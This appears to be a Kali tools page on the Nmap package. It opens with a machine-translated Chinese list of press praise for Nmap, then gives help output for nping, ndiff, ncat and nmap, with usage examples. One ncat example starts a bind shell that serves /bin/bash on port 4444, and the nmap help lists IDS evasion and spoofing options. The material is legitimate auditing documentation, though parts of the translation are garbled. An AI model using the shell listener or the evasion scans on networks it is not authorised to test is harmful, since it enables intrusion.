当人们开始使用它的名字作为动词时,你就知道你的程序已经流行起来了。每次设置新的 Linux 服务器时运行 Nmap,并定期查看网络上是否有任何变化,已成为标准的安全实践。Nmap 的传播恰逢 Linux 发行版最终削减了默认提供的潜在可利用服务的菜单,这并非巧合。为了向 Linux 系统管理员和世界各地的发行版提供易于使用的“安全白痴灯”,Nmap,我们向您致敬。
- 2006 年 1 月,美国总统乔治·W·布什访问了位于米德堡的 NSA 总部。背景中的一面墙大小的状态屏幕显示了 Nmap 的最新版本和我们最喜欢的一些其他开源工具。图片刊登在 2006 年 2 月 6 日的《新闻周刊》(文章)和 1 月 27 日的《华盛顿邮报》(文章)上。屏幕上的页面是Talisker 雷达。我们不喜欢NSA跟踪我们的电话和电子邮件,但他们可能会跟踪所有他们想要的 Nmap 版本。
- Nmap 荣获 LinuxQuestions.Org 年度安全应用奖。 Nmap 获得的选票 (56.45%) 超过了所有其他条目的总和。第二和第三名分别是Snort (15.5%) 和Nessus (14.9%)。
- “进行中的黑客攻击”——信息周刊,2003 年 9 月 8 日——描述了“道德黑客”如何闯入客户的公司网络:
当 Breed 点开他的笔记本时,他偶尔会露出笑容,扬起眉毛,皱起额头。在记下域地址后,他对公司系统上的网络地址块进行了有根据的猜测。他启动了 Nmap 或 Network Mapper,然后开始扫描,看看他的猜测可能会发生什么变化。Nmap 使用 IP 数据包查看网络正在运行哪些操作系统、连接了哪些服务器、可用的服务和端口,甚至是否有数据包过滤器和防火墙。
- Nmap 荣获 Info World 的 1998 年最佳信息安全产品奖(连同 IETF 的 IPSEC 实施和 L0phtcrack)。[本地副本]
- CIO 研究所计算机安全公告卷。2. No. 3.提出了最近上新闻的对五角大楼的“多国联合攻击”可能真的是无聊的青少年使用 nmap :) 的理论。
- SANS 入侵检测常见问题解答[本地副本] 包括 John Green(美国海军水面战中心的)描述 Nmap 功能的页面。他的结论是:
使用 nmap 可以获得的智能是广泛的。它提供了对网络进行消息灵通、成熟、精确的攻击所需的所有信息。这种攻击的成功概率很高,并且可能会被缺乏入侵检测能力的组织忽视。
- “免费的基于 Windows 的扫描仪很多,但只有 Asmodeus 显示出希望”——Info World 1998 年 7 月 6 日。此 InfoWorld 安全专栏检查了 Windows 扫描仪并得出结论,用户应该放弃 Windows 扫描仪并“花时间安装Linux 盒子并使用 nmap。” [本地副本]
- “黑客工具箱——渗透测试的技术和工具” [本地副本] 由 SunWorld 运营,采访了 Marc Abene、Brian Martin 和 Rain Forest Puppy,了解他们最喜欢的工具。我们很高兴他们写道:
也许是当今渗透测试最通用和最广泛使用的工具。该实用程序提供广泛的端口扫描技术,将报告哪些端口是开放的、谁拥有每个进程、通常分配给该端口的服务、TCP 序列预测攻击的可能性等等。nmap 的另一个有用特性是它能够远程“指纹”机器的操作系统。该实用程序已成为渗透测试人员的瑞士军刀。
- ComputerWorld 中的白帽黑客自白[本地副本] 描述了作者(安全经理)使用 Nmap 的经验:
Nmap让我印象深刻。它很简单,很强大,而且它完全按照它所说的那样做:它映射你的网络......它[比国际空间站]快得多,它被设计为在“隐形模式”下运行,以避免被入侵检测检测软件。它肯定潜入了我们入侵检测软件 ISS 的 RealSecure 的雷达之下。这是我们必须解决的问题。
- 1998 年 12 月 Codetalker Digest在“审计和扫描”类别中将 Nmap 安全产品评为年度最佳产品。[本地副本]
- 网络入侵检测,Stephen Northcutt 的分析师手册包括一个 9 页的 Nmap 部分。第一版对 Nmap 的描述如下(第 186 页):
那么什么是nmap?它是攻击者和防御者都可以不惜一切代价获得的最强大的信息收集工具之一。有多种扫描模式可用,以及 TCP 指纹识别和 TCP 序列号预测难度评估。
- “破解工具变得更聪明”——Wired 1999 年 3 月 3 日 [本地副本]
- Network Magazine 刊登了 Rik Farrow 的System Fingerprinting With Nmap。本文很好地用外行术语描述了 TCP/IP 堆栈指纹。[本地副本]
- 2001 年 6 月的《信息安全杂志》刊登了一篇关于端口扫描的文章,题为“堵漏漏洞” [本地副本]。这篇文章对扫描进行了概述,并为 Nmap 描绘了一幅讨人喜欢的画面:
最著名的端口扫描器可能是 nmap,它会查找所有打开的端口并检测 IP 地址范围内主机上的操作系统…… nmap 可用于发现攻击者可能使用的关键信息,例如成功猜测TCP 初始序列号(一种常见的攻击机制)和主机的操作系统(搜索漏洞时必不可少)。对于那些喜欢基于 GUI 的应用程序的人,可以使用 Nmap 的图形前端。
- Linux Journal 在 2001 年 5 月一期题为Checking Your Work with Scanners, Part I (of II): nmap中对 Nmap 进行了很好的概述。它将 Nmap 描述为“世界冠军端口扫描器”,并总结说“简而言之,Nmap 是迄今为止功能最丰富、用途最广泛的端口扫描器”。[本地副本]
- 芝加哥论坛报刊登了一篇关于了解您的网络服务的文章。这是对端口扫描基础知识的一个很好的介绍。文章推荐Nmap。[本地副本]
- Info World 1998 年 6 月 8 日的安全观察专栏对 nmap 给予了好评 [本地副本]
- 《新一代扫描工具掩盖攻击源》——计算机世界1999年3月15日。[本地复制]
- “当好的扫描仪变坏时”——计算机世界,1999 年 3 月 22 日。[本地副本]
- “端口扫描的艺术与检测”是一篇介绍性文章,主要关注 Nmap,于 1998 年 11 月发表在Sys Admin Magazine 上。我还没有找到它的在线链接。无论如何,我之前的 Phrack 51 文章“端口扫描的艺术”给出了更多的技术概述。
- “ Passive-Aggressive Resistance:OS Fingerprint Evasion ”是 01 年 9 月 Linux Journal 上的一篇文章,讨论了逃避Nmap OS 检测的方法。
- “黑客攻击日记” ——网络世界,2000 年 1 月 10 日。讨论专业安全审计员的活动。“Hacker Bob 更喜欢网络映射 (nmap) ......它是一个强大的端口扫描器。” [本地副本]
- SANS 广播:黑客对你的了解 III - 99 年 3 月 2 日是对 HD Moore(nlog 的开发者,nmap 的数据库接口)和影子入侵检测团队成员 John Green 关于 Nmap 和 NLog 的长达一小时的采访. 遗憾的是,它没有任何开放格式(如 MP3)。
- 1999 年春季2600期有一篇文章叫做“使用 Nmap 进行网络扫描”。有人对它进行了 OCR 处理并给我发了一份副本。这是未格式化的文本。 请注意,他提到的选项和标志适用于非常旧 的 nmap 版本,与 nmap 2.X 不太相关。
Source: http://nmap.org/
Nmap Homepage | Kali Nmap Repo
- Author: Fyodor
- License: GPLv2
Tools included in the nmap package
nping – Network packet generation tool / ping utility
Nping 0.7.70 ( https://nmap.org/nping )
Usage: nping [Probe mode] [Options] {target specification}
TARGET SPECIFICATION:
Targets may be specified as hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.*.1-24
PROBE MODES:
--tcp-connect : Unprivileged TCP connect probe mode.
--tcp : TCP probe mode.
--udp : UDP probe mode.
--icmp : ICMP probe mode.
--arp : ARP/RARP probe mode.
--tr, --traceroute : Traceroute mode (can only be used with
TCP/UDP/ICMP modes).
TCP CONNECT MODE:
-p, --dest-port <port spec> : Set destination port(s).
-g, --source-port <portnumber> : Try to use a custom source port.
TCP PROBE MODE:
-g, --source-port <portnumber> : Set source port.
-p, --dest-port <port spec> : Set destination port(s).
--seq <seqnumber> : Set sequence number.
--flags <flag list> : Set TCP flags (ACK,PSH,RST,SYN,FIN...)
--ack <acknumber> : Set ACK number.
--win <size> : Set window size.
--badsum : Use a random invalid checksum.
UDP PROBE MODE:
-g, --source-port <portnumber> : Set source port.
-p, --dest-port <port spec> : Set destination port(s).
--badsum : Use a random invalid checksum.
ICMP PROBE MODE:
--icmp-type <type> : ICMP type.
--icmp-code <code> : ICMP code.
--icmp-id <id> : Set identifier.
--icmp-seq <n> : Set sequence number.
--icmp-redirect-addr <addr> : Set redirect address.
--icmp-param-pointer <pnt> : Set parameter problem pointer.
--icmp-advert-lifetime <time> : Set router advertisement lifetime.
--icmp-advert-entry <IP,pref> : Add router advertisement entry.
--icmp-orig-time <timestamp> : Set originate timestamp.
--icmp-recv-time <timestamp> : Set receive timestamp.
--icmp-trans-time <timestamp> : Set transmit timestamp.
ARP/RARP PROBE MODE:
--arp-type <type> : Type: ARP, ARP-reply, RARP, RARP-reply.
--arp-sender-mac <mac> : Set sender MAC address.
--arp-sender-ip <addr> : Set sender IP address.
--arp-target-mac <mac> : Set target MAC address.
--arp-target-ip <addr> : Set target IP address.
IPv4 OPTIONS:
-S, --source-ip : Set source IP address.
--dest-ip <addr> : Set destination IP address (used as an
alternative to {target specification} ).
--tos <tos> : Set type of service field (8bits).
--id <id> : Set identification field (16 bits).
--df : Set Don't Fragment flag.
--mf : Set More Fragments flag.
--ttl <hops> : Set time to live [0-255].
--badsum-ip : Use a random invalid checksum.
--ip-options <S|R [route]|L [route]|T|U ...> : Set IP options
--ip-options <hex string> : Set IP options
--mtu <size> : Set MTU. Packets get fragmented if MTU is
small enough.
IPv6 OPTIONS:
-6, --IPv6 : Use IP version 6.
--dest-ip : Set destination IP address (used as an
alternative to {target specification}).
--hop-limit : Set hop limit (same as IPv4 TTL).
--traffic-class <class> : : Set traffic class.
--flow <label> : Set flow label.
ETHERNET OPTIONS:
--dest-mac <mac> : Set destination mac address. (Disables
ARP resolution)
--source-mac <mac> : Set source MAC address.
--ether-type <type> : Set EtherType value.
PAYLOAD OPTIONS:
--data <hex string> : Include a custom payload.
--data-string <text> : Include a custom ASCII text.
--data-length <len> : Include len random bytes as payload.
ECHO CLIENT/SERVER:
--echo-client <passphrase> : Run Nping in client mode.
--echo-server <passphrase> : Run Nping in server mode.
--echo-port <port> : Use custom <port> to listen or connect.
--no-crypto : Disable encryption and authentication.
--once : Stop the server after one connection.
--safe-payloads : Erase application data in echoed packets.
TIMING AND PERFORMANCE:
Options which take <time> are in seconds, or append 'ms' (milliseconds),
's' (seconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m, 0.25h).
--delay <time> : Adjust delay between probes.
--rate <rate> : Send num packets per second.
MISC:
-h, --help : Display help information.
-V, --version : Display current version number.
-c, --count <n> : Stop after <n> rounds.
-e, --interface <name> : Use supplied network interface.
-H, --hide-sent : Do not display sent packets.
-N, --no-capture : Do not try to capture replies.
--privileged : Assume user is fully privileged.
--unprivileged : Assume user lacks raw socket privileges.
--send-eth : Send packets at the raw Ethernet layer.
--send-ip : Send packets using raw IP sockets.
--bpf-filter <filter spec> : Specify custom BPF filter.
OUTPUT:
-v : Increment verbosity level by one.
-v[level] : Set verbosity level. E.g: -v4
-d : Increment debugging level by one.
-d[level] : Set debugging level. E.g: -d3
-q : Decrease verbosity level by one.
-q[N] : Decrease verbosity level N times
--quiet : Set verbosity and debug level to minimum.
--debug : Set verbosity and debug to the max level.
EXAMPLES:
nping scanme.nmap.org
nping --tcp -p 80 --flags rst --ttl 2 192.168.1.1
nping --icmp --icmp-type time --delay 500ms 192.168.254.254
nping --echo-server "public" -e wlan0 -vvv
nping --echo-client "public" echo.nmap.org --tcp -p1-1024 --flags ack
SEE THE MAN PAGE FOR MANY MORE OPTIONS, DESCRIPTIONS, AND EXAMPLES
ndiff – Utility to compare the results of Nmap scans
Usage: /usr/bin/ndiff [option] FILE1 FILE2
Compare two Nmap XML files and display a list of their differences.
Differences include host state changes, port state changes, and changes to
service and OS detection.
-h, --help display this help
-v, --verbose also show hosts and ports that haven't changed.
--text display output in text format (default)
--xml display output in XML format
ncat – Concatenate and redirect sockets
Ncat 7.70 ( https://nmap.org/ncat )
Usage: ncat [options] [hostname] [port]
Options taking a time assume seconds. Append 'ms' for milliseconds,
's' for seconds, 'm' for minutes, or 'h' for hours (e.g. 500ms).
-4 Use IPv4 only
-6 Use IPv6 only
-U, --unixsock Use Unix domain sockets only
-C, --crlf Use CRLF for EOL sequence
-c, --sh-exec <command> Executes the given command via /bin/sh
-e, --exec <command> Executes the given command
--lua-exec <filename> Executes the given Lua script
-g hop1[,hop2,...] Loose source routing hop points (8 max)
-G <n> Loose source routing hop pointer (4, 8, 12, ...)
-m, --max-conns <n> Maximum <n> simultaneous connections
-h, --help Display this help screen
-d, --delay <time> Wait between read/writes
-o, --output <filename> Dump session data to a file
-x, --hex-dump <filename> Dump session data as hex to a file
-i, --idle-timeout <time> Idle read/write timeout
-p, --source-port port Specify source port to use
-s, --source addr Specify source address to use (doesn't affect -l)
-l, --listen Bind and listen for incoming connections
-k, --keep-open Accept multiple connections in listen mode
-n, --nodns Do not resolve hostnames via DNS
-t, --telnet Answer Telnet negotiations
-u, --udp Use UDP instead of default TCP
--sctp Use SCTP instead of default TCP
-v, --verbose Set verbosity level (can be used several times)
-w, --wait <time> Connect timeout
-z Zero-I/O mode, report connection status only
--append-output Append rather than clobber specified output files
--send-only Only send data, ignoring received; quit on EOF
--recv-only Only receive data, never send anything
--allow Allow only given hosts to connect to Ncat
--allowfile A file of hosts allowed to connect to Ncat
--deny Deny given hosts from connecting to Ncat
--denyfile A file of hosts denied from connecting to Ncat
--broker Enable Ncat's connection brokering mode
--chat Start a simple Ncat chat server
--proxy <addr[:port]> Specify address of host to proxy through
--proxy-type <type> Specify proxy type ("http" or "socks4" or "socks5")
--proxy-auth <auth> Authenticate with HTTP or SOCKS proxy server
--ssl Connect or listen with SSL
--ssl-cert Specify SSL certificate file (PEM) for listening
--ssl-key Specify SSL private key (PEM) for listening
--ssl-verify Verify trust and domain name of certificates
--ssl-trustfile PEM file containing trusted SSL certificates
--ssl-ciphers Cipherlist containing SSL ciphers to use
--ssl-alpn ALPN protocol list to use.
--version Display Ncat's version information and exit
See the ncat(1) manpage for full options, descriptions and usage examples
nmap – The Network Mapper
Nmap 7.70 ( https://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
-iL <inputfilename>: Input from list of hosts/networks
-iR <num hosts>: Choose random targets
--exclude <host1[,host2][,host3],...>: Exclude hosts/networks
--excludefile <exclude_file>: Exclude list from file
HOST DISCOVERY:
-sL: List Scan - simply list targets to scan
-sn: Ping Scan - disable port scan
-Pn: Treat all hosts as online -- skip host discovery
-PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
-PO[protocol list]: IP Protocol Ping
-n/-R: Never do DNS resolution/Always resolve [default: sometimes]
--dns-servers <serv1[,serv2],...>: Specify custom DNS servers
--system-dns: Use OS's DNS resolver
--traceroute: Trace hop path to each host
SCAN TECHNIQUES:
-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
-sU: UDP Scan
-sN/sF/sX: TCP Null, FIN, and Xmas scans
--scanflags <flags>: Customize TCP scan flags
-sI <zombie host[:probeport]>: Idle scan
-sY/sZ: SCTP INIT/COOKIE-ECHO scans
-sO: IP protocol scan
-b <FTP relay host>: FTP bounce scan
PORT SPECIFICATION AND SCAN ORDER:
-p <port ranges>: Only scan specified ports
Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
--exclude-ports <port ranges>: Exclude the specified ports from scanning
-F: Fast mode - Scan fewer ports than the default scan
-r: Scan ports consecutively - don't randomize
--top-ports <number>: Scan <number> most common ports
--port-ratio <ratio>: Scan ports more common than <ratio>
SERVICE/VERSION DETECTION:
-sV: Probe open ports to determine service/version info
--version-intensity <level>: Set from 0 (light) to 9 (try all probes)
--version-light: Limit to most likely probes (intensity 2)
--version-all: Try every single probe (intensity 9)
--version-trace: Show detailed version scan activity (for debugging)
SCRIPT SCAN:
-sC: equivalent to --script=default
--script=<Lua scripts>: <Lua scripts> is a comma separated list of
directories, script-files or script-categories
--script-args=<n1=v1,[n2=v2,...]>: provide arguments to scripts
--script-args-file=filename: provide NSE script args in a file
--script-trace: Show all data sent and received
--script-updatedb: Update the script database.
--script-help=<Lua scripts>: Show help about scripts.
<Lua scripts> is a comma-separated list of script-files or
script-categories.
OS DETECTION:
-O: Enable OS detection
--osscan-limit: Limit OS detection to promising targets
--osscan-guess: Guess OS more aggressively
TIMING AND PERFORMANCE:
Options which take <time> are in seconds, or append 'ms' (milliseconds),
's' (seconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).
-T<0-5>: Set timing template (higher is faster)
--min-hostgroup/max-hostgroup <size>: Parallel host scan group sizes
--min-parallelism/max-parallelism <numprobes>: Probe parallelization
--min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>: Specifies
probe round trip time.
--max-retries <tries>: Caps number of port scan probe retransmissions.
--host-timeout <time>: Give up on target after this long
--scan-delay/--max-scan-delay <time>: Adjust delay between probes
--min-rate <number>: Send packets no slower than <number> per second
--max-rate <number>: Send packets no faster than <number> per second
FIREWALL/IDS EVASION AND SPOOFING:
-f; --mtu <val>: fragment packets (optionally w/given MTU)
-D <decoy1,decoy2[,ME],...>: Cloak a scan with decoys
-S <IP_Address>: Spoof source address
-e <iface>: Use specified interface
-g/--source-port <portnum>: Use given port number
--proxies <url1,[url2],...>: Relay connections through HTTP/SOCKS4 proxies
--data <hex string>: Append a custom payload to sent packets
--data-string <string>: Append a custom ASCII string to sent packets
--data-length <num>: Append random data to sent packets
--ip-options <options>: Send packets with specified ip options
--ttl <val>: Set IP time-to-live field
--spoof-mac <mac address/prefix/vendor name>: Spoof your MAC address
--badsum: Send packets with a bogus TCP/UDP/SCTP checksum
OUTPUT:
-oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3,
and Grepable format, respectively, to the given filename.
-oA <basename>: Output in the three major formats at once
-v: Increase verbosity level (use -vv or more for greater effect)
-d: Increase debugging level (use -dd or more for greater effect)
--reason: Display the reason a port is in a particular state
--open: Only show open (or possibly open) ports
--packet-trace: Show all packets sent and received
--iflist: Print host interfaces and routes (for debugging)
--append-output: Append to rather than clobber specified output files
--resume <filename>: Resume an aborted scan
--stylesheet <path/URL>: XSL stylesheet to transform XML output to HTML
--webxml: Reference stylesheet from Nmap.Org for more portable XML
--no-stylesheet: Prevent associating of XSL stylesheet w/XML output
MISC:
-6: Enable IPv6 scanning
-A: Enable OS detection, version detection, script scanning, and traceroute
--datadir <dirname>: Specify custom Nmap data file location
--send-eth/--send-ip: Send using raw ethernet frames or IP packets
--privileged: Assume that the user is fully privileged
--unprivileged: Assume the user lacks raw socket privileges
-V: Print version number
-h: Print this help summary page.
EXAMPLES:
nmap -v -A scanme.nmap.org
nmap -v -sn 192.168.0.0/16 10.0.0.0/8
nmap -v -iR 10000 -Pn -p 80
SEE THE MAN PAGE (https://nmap.org/book/man.html) FOR MORE OPTIONS AND EXAMPLES
nmap Usage Example
Scan in verbose mode (-v), enable OS detection, version detection, script scanning, and traceroute (-A), with version detection (-sV) against the target IP (192.168.1.1):
Starting Nmap 6.45 ( http://nmap.org ) at 2014-05-13 18:40 MDT
NSE: Loaded 118 scripts for scanning.
NSE: Script Pre-scanning.
Initiating ARP Ping Scan at 18:40
Scanning 192.168.1.1 [1 port]
Completed ARP Ping Scan at 18:40, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:40
Completed Parallel DNS resolution of 1 host. at 18:40, 0.00s elapsed
Initiating SYN Stealth Scan at 18:40
Scanning router.localdomain (192.168.1.1) [1000 ports]
Discovered open port 53/tcp on 192.168.1.1
Discovered open port 22/tcp on 192.168.1.1
Discovered open port 80/tcp on 192.168.1.1
Discovered open port 3001/tcp on 192.168.1.1
nping Usage Example
Using TCP mode (–tcp) to probe port 22 (-p 22) using the SYN flag (–flags syn) with a TTL of 2 (–ttl 2) on the remote host (192.168.1.1):
Starting Nping 0.6.45 ( http://nmap.org/nping ) at 2014-05-13 18:43 MDT
SENT (0.0673s) TCP 192.168.1.15:60125 > 192.168.1.1:22 S ttl=2 id=54240 iplen=40 seq=1720523417 win=1480
RCVD (0.0677s) TCP 192.168.1.1:22 > 192.168.1.15:60125 SA ttl=64 id=0 iplen=44 seq=3377886789 win=5840 <mss 1460>
SENT (1.0678s) TCP 192.168.1.15:60125 > 192.168.1.1:22 S ttl=2 id=54240 iplen=40 seq=1720523417 win=1480
RCVD (1.0682s) TCP 192.168.1.1:22 > 192.168.1.15:60125 SA ttl=64 id=0 iplen=44 seq=3393519366 win=5840 <mss 1460>
SENT (2.0693s) TCP 192.168.1.15:60125 > 192.168.1.1:22 S ttl=2 id=54240 iplen=40 seq=1720523417 win=1480
RCVD (2.0696s) TCP 192.168.1.1:22 > 192.168.1.15:60125 SA ttl=64 id=0 iplen=44 seq=3409166569 win=5840 <mss 1460>
SENT (3.0707s) TCP 192.168.1.15:60125 > 192.168.1.1:22 S ttl=2 id=54240 iplen=40 seq=1720523417 win=1480
RCVD (3.0710s) TCP 192.168.1.1:22 > 192.168.1.15:60125 SA ttl=64 id=0 iplen=44 seq=3424813300 win=5840 <mss 1460>
SENT (4.0721s) TCP 192.168.1.15:60125 > 192.168.1.1:22 S ttl=2 id=54240 iplen=40 seq=1720523417 win=1480
RCVD (4.0724s) TCP 192.168.1.1:22 > 192.168.1.15:60125 SA ttl=64 id=0 iplen=44 seq=3440460772 win=5840 <mss 1460>
Max rtt: 0.337ms | Min rtt: 0.282ms | Avg rtt: 0.296ms
Raw packets sent: 5 (200B) | Rcvd: 5 (230B) | Lost: 0 (0.00%)
Nping done: 1 IP address pinged in 4.13 seconds
ndiff Usage Example
Compare yesterday’s port scan (yesterday.xml) with the scan from today (today.xml):
-Nmap 6.45 scan initiated Tue May 13 18:46:43 2014 as: nmap -v -F -oX yesterday.xml 192.168.1.1
+Nmap 6.45 scan initiated Tue May 13 18:47:58 2014 as: nmap -v -F -oX today.xml 192.168.1.1
endian.localdomain (192.168.1.1, 00:01:6C:6F:DD:D1):
-Not shown: 96 filtered ports
+Not shown: 97 filtered ports
PORT STATE SERVICE VERSION
-22/tcp open ssh
ncat Usage Example
Be verbose (-v), running /bin/bash on connect (–exec “/bin/bash”), only allowing 1 IP address (–allow 192.168.1.123), listen on TCP port 4444 (-l 4444), and keep the listener open on disconnect (–keep-open):
Ncat: Version 6.45 ( http://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.1.123.
Ncat: Connection from 192.168.1.123:39501.
Ncat: Connection from 192.168.1.15.
Ncat: Connection from 192.168.1.15:60393.
Ncat: New connection denied: not allowed
NMAP(1) Nmap Reference Guide NMAP(1)
NAME
nmap - Network exploration tool and security / port
scanner
SYNOPSIS
nmap [Scan Type...] [Options] {target specification}
DESCRIPTION
Nmap (“Network Mapper”) is an open source tool for
network exploration and security auditing. It was
designed to rapidly scan large networks, although it
works fine against single hosts. Nmap uses raw IP
packets in novel ways to determine what hosts are
available on the network, what services (application
name and version) those hosts are offering, what
operating systems (and OS versions) they are
running, what type of packet filters/firewalls are
in use, and dozens of other characteristics. While
Nmap is commonly used for security audits, many
systems and network administrators find it useful
for routine tasks such as network inventory,
managing service upgrade schedules, and monitoring
host or service uptime.
The output from Nmap is a list of scanned targets,
with supplemental information on each depending on
the options used. Key among that information is the
“interesting ports table”. That table lists the
port number and protocol, service name, and state.
The state is either open, filtered, closed, or
unfiltered. Open means that an application on the
target machine is listening for connections/packets
on that port. Filtered means that a firewall,
filter, or other network obstacle is blocking the
port so that Nmap cannot tell whether it is open or
closed. Closed ports have no application listening
on them, though they could open up at any time.
Ports are classified as unfiltered when they are
responsive to Nmap's probes, but Nmap cannot
determine whether they are open or closed. Nmap
reports the state combinations open|filtered and
closed|filtered when it cannot determine which of
the two states describe a port. The port table may
also include software version details when version
detection has been requested. When an IP protocol
scan is requested (-sO), Nmap provides information
on supported IP protocols rather than listening
ports.
In addition to the interesting ports table, Nmap can
provide further information on targets, including
reverse DNS names, operating system guesses, device
types, and MAC addresses.
A typical Nmap scan is shown in Example 1. The only
Nmap arguments used in this example are -A, to
enable OS and version detection, script scanning,
and traceroute; -T4 for faster execution; and then
the hostname.
Example 1. A representative Nmap scan
# nmap -A -T4 scanme.nmap.org
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.029s latency).
rDNS record for 74.207.244.221: li86-221.members.linode.com
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu7 (protocol 2.0)
| ssh-hostkey: 1024 8d:60:f1:7c:ca:b7:3d:0a:d6:67:54:9d:69:d9:b9:dd (DSA)
|_2048 79:f8:09:ac:d4:e2:32:42:10:49:d3:bd:20:82:85:ec (RSA)
80/tcp open http Apache httpd 2.2.14 ((Ubuntu))
|_http-title: Go ahead and ScanMe!
646/tcp filtered ldp
1720/tcp filtered H.323/Q.931
9929/tcp open nping-echo Nping echo
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6.39
OS details: Linux 2.6.39
Network Distance: 11 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel
TRACEROUTE (using port 53/tcp)
HOP RTT ADDRESS
[Cut first 10 hops for brevity]
11 17.65 ms li86-221.members.linode.com (74.207.244.221)
Nmap done: 1 IP address (1 host up) scanned in 14.40 seconds
The newest version of Nmap can be obtained from
https://nmap.org. The newest version of this man
page is available at https://nmap.org/book/man.html.
It is also included as a chapter of Nmap Network
Scanning: The Official Nmap Project Guide to Network
Discovery and Security Scanning (see
https://nmap.org/book/).
OPTIONS SUMMARY
This options summary is printed when Nmap is run
with no arguments, and the latest version is always
available at
https://svn.nmap.org/nmap/docs/nmap.usage.txt. It
helps people remember the most common options, but
is no substitute for the in-depth documentation in
the rest of this manual. Some obscure options aren't
even included here.
Nmap 7.92 ( https://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
-iL <inputfilename>: Input from list of hosts/networks
-iR <num hosts>: Choose random targets
--exclude <host1[,host2][,host3],...>: Exclude hosts/networks
--excludefile <exclude_file>: Exclude list from file
HOST DISCOVERY:
-sL: List Scan - simply list targets to scan
-sn: Ping Scan - disable port scan
-Pn: Treat all hosts as online -- skip host discovery
-PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
-PO[protocol list]: IP Protocol Ping
-n/-R: Never do DNS resolution/Always resolve [default: sometimes]
--dns-servers <serv1[,serv2],...>: Specify custom DNS servers
--system-dns: Use OS's DNS resolver
--traceroute: Trace hop path to each host
SCAN TECHNIQUES:
-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
-sU: UDP Scan
-sN/sF/sX: TCP Null, FIN, and Xmas scans
--scanflags <flags>: Customize TCP scan flags
-sI <zombie host[:probeport]>: Idle scan
-sY/sZ: SCTP INIT/COOKIE-ECHO scans
-sO: IP protocol scan
-b <FTP relay host>: FTP bounce scan
PORT SPECIFICATION AND SCAN ORDER:
-p <port ranges>: Only scan specified ports
Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
--exclude-ports <port ranges>: Exclude the specified ports from scanning
-F: Fast mode - Scan fewer ports than the default scan
-r: Scan ports consecutively - don't randomize
--top-ports <number>: Scan <number> most common ports
--port-ratio <ratio>: Scan ports more common than <ratio>
SERVICE/VERSION DETECTION:
-sV: Probe open ports to determine service/version info
--version-intensity <level>: Set from 0 (light) to 9 (try all probes)
--version-light: Limit to most likely probes (intensity 2)
--version-all: Try every single probe (intensity 9)
--version-trace: Show detailed version scan activity (for debugging)
SCRIPT SCAN:
-sC: equivalent to --script=default
--script=<Lua scripts>: <Lua scripts> is a comma separated list of
directories, script-files or script-categories
--script-args=<n1=v1,[n2=v2,...]>: provide arguments to scripts
--script-args-file=filename: provide NSE script args in a file
--script-trace: Show all data sent and received
--script-updatedb: Update the script database.
--script-help=<Lua scripts>: Show help about scripts.
<Lua scripts> is a comma-separated list of script-files or
script-categories.
OS DETECTION:
-O: Enable OS detection
--osscan-limit: Limit OS detection to promising targets
--osscan-guess: Guess OS more aggressively
TIMING AND PERFORMANCE:
Options which take <time> are in seconds, or append 'ms' (milliseconds),
's' (seconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).
-T<0-5>: Set timing template (higher is faster)
--min-hostgroup/max-hostgroup <size>: Parallel host scan group sizes
--min-parallelism/max-parallelism <numprobes>: Probe parallelization
--min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>: Specifies
probe round trip time.
--max-retries <tries>: Caps number of port scan probe retransmissions.
--host-timeout <time>: Give up on target after this long
--scan-delay/--max-scan-delay <time>: Adjust delay between probes
--min-rate <number>: Send packets no slower than <number> per second
--max-rate <number>: Send packets no faster than <number> per second
FIREWALL/IDS EVASION AND SPOOFING:
-f; --mtu <val>: fragment packets (optionally w/given MTU)
-D <decoy1,decoy2[,ME],...>: Cloak a scan with decoys
-S <IP_Address>: Spoof source address
-e <iface>: Use specified interface
-g/--source-port <portnum>: Use given port number
--proxies <url1,[url2],...>: Relay connections through HTTP/SOCKS4 proxies
--data <hex string>: Append a custom payload to sent packets
--data-string <string>: Append a custom ASCII string to sent packets
--data-length <num>: Append random data to sent packets
--ip-options <options>: Send packets with specified ip options
--ttl <val>: Set IP time-to-live field
--spoof-mac <mac address/prefix/vendor name>: Spoof your MAC address
--badsum: Send packets with a bogus TCP/UDP/SCTP checksum
OUTPUT:
-oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3,
and Grepable format, respectively, to the given filename.
-oA <basename>: Output in the three major formats at once
-v: Increase verbosity level (use -vv or more for greater effect)
-d: Increase debugging level (use -dd or more for greater effect)
--reason: Display the reason a port is in a particular state
--open: Only show open (or possibly open) ports
--packet-trace: Show all packets sent and received
--iflist: Print host interfaces and routes (for debugging)
--append-output: Append to rather than clobber specified output files
